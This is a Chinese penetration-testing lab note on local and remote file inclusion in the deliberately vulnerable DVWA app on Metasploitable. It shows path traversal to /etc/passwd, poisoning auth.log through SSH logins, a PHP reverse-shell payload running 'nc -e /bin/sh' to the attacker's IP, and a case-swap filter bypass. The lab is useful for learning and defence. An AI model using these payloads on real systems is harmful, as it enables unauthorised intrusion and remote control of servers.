We are all in the gutter, but some of us are looking at the stars.
身在井隅,心向璀璨。
本文仅供学习交流,正确使用渗透测试,遵守相关法律法规,请勿用于非法用途。
本实验基于以下环境:
【渗透测试笔记】一、环境搭建(VirtualBox+Kali+Metasploitable+Win10)
【渗透测试笔记】二、配置Metasploitable和实验网络
确保所有虚拟机处于同一个NAT Network下
Some web applications allow the user to specify input that is used directly into file streams or allows the user to upload files to the server. At a later time the web application accesses the user supplied input in the web applications context. By doing this, the web application is allowing the potential for malicious file execution.
同样以DVWA为例,默认登录账号admin/password
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境。
尝试修改url,读取其他目录的文件,比如读取首页
…/ 回退到上一级目录
/dvwa/vulnerabilities/fi/?page=../../index.php
/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd
passwd文件存放着所有用户帐号(系统上的用户)的信息,包括用户名和密码
Passwd文件由许多条记录组成,每条记录占一行,记录了一个用户帐号的所有信息。每条记录由7个字段组成,字段间用冒号“:”隔开,其格式如下:
username:password:User ID:Group ID:comment:home directory:shell
尝试注入代码到可读文件中,如
该文件记录了所有和用户认证相关的日志。无论是通过 ssh 登录,还是通过 sudo 执行命令都会在 auth.log 中产生记录。
Kali端监听8888端口
nc -lvp 8888
在Kali中尝试使用ssh来注入reverse shell代码,格式如下
$ ssh user@host
或者可以对passthru中的内容进行base64编码,再通过base64_decode()解码
passthru — 执行外部程序并且显示原始输出
当在Kali端尝试登录时,host中的auth.log就会记录下登录信息,包括尝试登录的用户名,再通过漏洞访问auth.log文件,执行文件中的代码。
reverse shell连接成功
2. /proc/self/environ
配置:打开Metasploitable
sudo vim /etc/php5/cgi/php.ini
修改 allow_url_include 的值为 “On”
相对于本地文件包含漏洞来说容易利用,只需要在远程文件中包含执行代码,访问即可。
例如:
本地测试环境,所以直接在Kali中开启apache,作为远程访问的服务器。
sudo service apache2 start
写入反向shell的代码
vim re_shell.txt
<?passthru('nc -e /bin/sh attacker的IP 端口');?>
放入/var/www/html/目录
cp re_shell.txt /var/www/html/re_shell.txt
Kali的IP地址可通过ifconfig查看
访问http://IP/re_shell.txt,即可看见部署的代码,再利用远程文件包含漏洞访问该文件即可。
反向shell获取成功。
修改安全级别为Medium,再次尝试,发现无效,修改"http://"为"hTTp://"等,成功执行。
【渗透测试笔记】七、XSS跨站脚本漏洞